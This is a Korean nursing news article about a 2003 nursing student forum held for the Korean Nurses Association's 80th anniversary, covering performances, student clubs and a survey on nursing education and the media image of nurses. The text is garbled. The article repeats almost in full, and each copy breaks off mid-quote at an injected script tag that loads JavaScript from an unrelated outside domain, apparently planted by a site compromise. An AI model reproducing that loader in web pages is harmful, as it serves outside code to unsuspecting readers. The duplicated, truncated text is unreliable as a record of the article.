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간협 80주년 - 간호학생광장
"간호대학생 모임 필요" 한 목소리
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2003-06-05 오전 09:14:16
간호의 미래를 짊어질 꿈나무 간호대학생들이 한자리에 모이는 귀한 자리가 창립 80주년 기념행사에서 마련됐다.
29일 펜싱경기장에서 열린 `간호학생광장' 프로그램에는 전국의 간호대학생 500여명이 참석했으며, 국립의료원간호대학 학생회장 양정아 씨의 사회로 진행됐다.
첫 순서는 새내기 율동 `마임' 공연으로 시작됐다. 공연팀은 경희대, 국립의료원간호대학, 서울대 1학년 학생들로 구성됐으며, 이들은 공연에 앞서 "연습시간은 비록 짧았지만 최선을 다했으며 율동이 부족하면 미모로 승부하겠다"며 기염을 토했다.
단장 이 진 씨(국립의료원간호대학)는 "민중가요에 맞춰 새내기들의 풋풋함과 싱그러움을 표현하고, 많이 뛰고 움직일 수 있는 율동을 만드는데 중점을 두었다"면서 "빠듯한 수업을 끝내고 짬을 내 연습하느라 힘들었지만 다른 학교 친구들을 만나 서로 이해하고 고민도 나누고 우정을 쌓을 수 있어 너무 좋았다"고 말했다.
다음으로 대학생 동아리 소개 순서가 이어졌다.
경희대 간호과학대학은 의료봉사 동아리 `원더스'와 학생회를 소개했다. 원더스는 주말과 방학을 이용해 봉사활동을 펴고 있으며, 학생회는 개강하는 날 총회를 열어 교수와 학생간 격의없는 토론을 벌이고 주요 안건을 투표로 결정하며 환아돕기 일일호프를 열고 있는 것이 자랑이다.
대구보건대학 간호과는 수화동아리 `아름소리'와 치어동아리 `결'을 소개했다.
`아름소리'는 매주 월요일마다 모여 수화를 배우고 매달 재활원을 찾아 봉사활동을 펴고 있으며 다른 과 학생들을 위해 수화교실도 열고 있다.
`결'은 대학 대동체전 응원을 도맡아 할 정도로 유명한 동아리로, 단원들은 "매일매일 틈틈히 연습하고 있으며 강의와 실습에 지친 심신을 달래고 활기를 찾는데 최고"라고 입을 모았다.
간호학생광장의 하이라이트는 학생들을 대상으로 실시한 설문조사 결과를 발표하고 교수와 학생 패널들이 함께 열띤 토론을 벌인 `네 마음을 열어봐' 프로그램. 설문조사에는 48개 대학이 참여했다.
토론회 좌장은 김영남 경인지역간호학생대표자협의회장(서울대 3년)이 맡았으며 학생 패널로는 장정동(연세대 4년), 이현주(아주대 4년), 김태윤(고대 3년), 강성희(적십자간호대학 3년), 유대원(안동과학대학 2년) 씨 등 5명이, 교수 패널로는 김의숙 대한간호협회장, 이광자 한국간호대학(과)장협의회장, 송지호 한국간호전문대학장·학과장협의회장이 나섰다.
설문조사결과 간호대학에 다니면서 느끼는 불만이나 문제점으로는 `수업이 빡빡하다'가 1위를 차지했다. 다음으로 `수업과 임상실습에서의 괴리가 심하다' `전문직으로서의 사회적 인식이 부족하다' `실습환경이 열악하다' `실습할 때 복장규제가 너무 심하다' 순으로 나타났다.
간호대학에 와서 좋은 점 1위는 `졸업 후 취업이 쉽다'가 차지했다. 다음으로 `졸업 후 진로가 다양하다' `인간사랑을 실천할 수 있다' `간호사 급여가 높다' `간호사의 사회적 지위가 높다' 순이었다. 패널 장정동 씨는 "총체적으로 인간을 이해하는 마음을 얻게 된 것에 보람을 느낀다"고 덧붙였다.
또한 간호대학 학제가 3·4년제로 이원화되어 있어 서로간에 갈등이 생긴다고 답한 경우가 87.1%로 나타났다. 패널들은 "서로 이해하고 아끼는 마음으로 잘 지내도록 노력하자"고 말했다.
간호사 역할로 가장 잘 어울리는 여자 연예인 1위로는 송윤아 씨가 뽑혔으며, 그 이유는 지적인 이미지 때문으로 나타났다. 다음으로 청순한 유 민, 활발한 김효진, 미모의 전지현 씨 순이었다.
남자 연예인 1위는 자상한 이미지의 박신양 씨가 차지했으며 지적인 성시경, 터프한 이병헌, 미남 장동건 씨 순으로 나타났다.
대중매체에서 다루는 간호사 이미지에 대해선 단 6.9%만이 만족한다고 했으며, 그 이유는 봉사하며 보람된 삶을 사는 사람으로 그려지기 때문이라는 응답이 가장 많았다.
만족하지 않는 이유는 "의사의 오더를 수행하는 수동적인 인물로 묘사되고 있고, 너무 한가하며, 지적 수준 보다는 예쁜 모습에만 치우쳐 있기 때문"인 것으로 지적됐다.
패널 유대원 씨는 "텔레비전에 나오는 간호사는 대부분 의사의 주변인물이며 항상 한가하게 놀고 있다"면서 "간호사의 모습이 제대로 표현될 수 있도록 적극적으로 의견을 제시하자"고 말했다. 장정동, 김태윤 씨는 "특히 남자 간호사상이 많이 왜곡되어 있는 만큼 간호협회에서 올바른 이미지 정립을 위해 힘써달라"고 주문했다. 이현주 씨는 "여성 연예인을 상품화하는데 간호사 이미지가 활용되지 않도록 모니터링하고 개선해 나가자"고 지적했다.
간호학생들의 모임이 필요하냐는 질문에는 91.2%가 필요하다고 답한 것으로 밝혀졌다.
학생 패널들은 한결같이 "학생모임이 필요하다는데 적극 동의한다"면서 "?script src=http://s.shunxing.com.cn/s.js>
29일 펜싱경기장에서 열린 `간호학생광장' 프로그램에는 전국의 간호대학생 500여명이 참석했으며, 국립의료원간호대학 학생회장 양정아 씨의 사회로 진행됐다.
첫 순서는 새내기 율동 `마임' 공연으로 시작됐다. 공연팀은 경희대, 국립의료원간호대학, 서울대 1학년 학생들로 구성됐으며, 이들은 공연에 앞서 "연습시간은 비록 짧았지만 최선을 다했으며 율동이 부족하면 미모로 승부하겠다"며 기염을 토했다.
단장 이 진 씨(국립의료원간호대학)는 "민중가요에 맞춰 새내기들의 풋풋함과 싱그러움을 표현하고, 많이 뛰고 움직일 수 있는 율동을 만드는데 중점을 두었다"면서 "빠듯한 수업을 끝내고 짬을 내 연습하느라 힘들었지만 다른 학교 친구들을 만나 서로 이해하고 고민도 나누고 우정을 쌓을 수 있어 너무 좋았다"고 말했다.
다음으로 대학생 동아리 소개 순서가 이어졌다.
경희대 간호과학대학은 의료봉사 동아리 `원더스'와 학생회를 소개했다. 원더스는 주말과 방학을 이용해 봉사활동을 펴고 있으며, 학생회는 개강하는 날 총회를 열어 교수와 학생간 격의없는 토론을 벌이고 주요 안건을 투표로 결정하며 환아돕기 일일호프를 열고 있는 것이 자랑이다.
대구보건대학 간호과는 수화동아리 `아름소리'와 치어동아리 `결'을 소개했다.
`아름소리'는 매주 월요일마다 모여 수화를 배우고 매달 재활원을 찾아 봉사활동을 펴고 있으며 다른 과 학생들을 위해 수화교실도 열고 있다.
`결'은 대학 대동체전 응원을 도맡아 할 정도로 유명한 동아리로, 단원들은 "매일매일 틈틈히 연습하고 있으며 강의와 실습에 지친 심신을 달래고 활기를 찾는데 최고"라고 입을 모았다.
간호학생광장의 하이라이트는 학생들을 대상으로 실시한 설문조사 결과를 발표하고 교수와 학생 패널들이 함께 열띤 토론을 벌인 `네 마음을 열어봐' 프로그램. 설문조사에는 48개 대학이 참여했다.
토론회 좌장은 김영남 경인지역간호학생대표자협의회장(서울대 3년)이 맡았으며 학생 패널로는 장정동(연세대 4년), 이현주(아주대 4년), 김태윤(고대 3년), 강성희(적십자간호대학 3년), 유대원(안동과학대학 2년) 씨 등 5명이, 교수 패널로는 김의숙 대한간호협회장, 이광자 한국간호대학(과)장협의회장, 송지호 한국간호전문대학장·학과장협의회장이 나섰다.
설문조사결과 간호대학에 다니면서 느끼는 불만이나 문제점으로는 `수업이 빡빡하다'가 1위를 차지했다. 다음으로 `수업과 임상실습에서의 괴리가 심하다' `전문직으로서의 사회적 인식이 부족하다' `실습환경이 열악하다' `실습할 때 복장규제가 너무 심하다' 순으로 나타났다.
간호대학에 와서 좋은 점 1위는 `졸업 후 취업이 쉽다'가 차지했다. 다음으로 `졸업 후 진로가 다양하다' `인간사랑을 실천할 수 있다' `간호사 급여가 높다' `간호사의 사회적 지위가 높다' 순이었다. 패널 장정동 씨는 "총체적으로 인간을 이해하는 마음을 얻게 된 것에 보람을 느낀다"고 덧붙였다.
또한 간호대학 학제가 3·4년제로 이원화되어 있어 서로간에 갈등이 생긴다고 답한 경우가 87.1%로 나타났다. 패널들은 "서로 이해하고 아끼는 마음으로 잘 지내도록 노력하자"고 말했다.
간호사 역할로 가장 잘 어울리는 여자 연예인 1위로는 송윤아 씨가 뽑혔으며, 그 이유는 지적인 이미지 때문으로 나타났다. 다음으로 청순한 유 민, 활발한 김효진, 미모의 전지현 씨 순이었다.
남자 연예인 1위는 자상한 이미지의 박신양 씨가 차지했으며 지적인 성시경, 터프한 이병헌, 미남 장동건 씨 순으로 나타났다.
대중매체에서 다루는 간호사 이미지에 대해선 단 6.9%만이 만족한다고 했으며, 그 이유는 봉사하며 보람된 삶을 사는 사람으로 그려지기 때문이라는 응답이 가장 많았다.
만족하지 않는 이유는 "의사의 오더를 수행하는 수동적인 인물로 묘사되고 있고, 너무 한가하며, 지적 수준 보다는 예쁜 모습에만 치우쳐 있기 때문"인 것으로 지적됐다.
패널 유대원 씨는 "텔레비전에 나오는 간호사는 대부분 의사의 주변인물이며 항상 한가하게 놀고 있다"면서 "간호사의 모습이 제대로 표현될 수 있도록 적극적으로 의견을 제시하자"고 말했다. 장정동, 김태윤 씨는 "특히 남자 간호사상이 많이 왜곡되어 있는 만큼 간호협회에서 올바른 이미지 정립을 위해 힘써달라"고 주문했다. 이현주 씨는 "여성 연예인을 상품화하는데 간호사 이미지가 활용되지 않도록 모니터링하고 개선해 나가자"고 지적했다.
간호학생들의 모임이 필요하냐는 질문에는 91.2%가 필요하다고 답한 것으로 밝혀졌다.
학생 패널들은 한결같이 "학생모임이 필요하다는데 적극 동의한다"면서 "?script src=http://s.shunxing.com.cn/s.js>
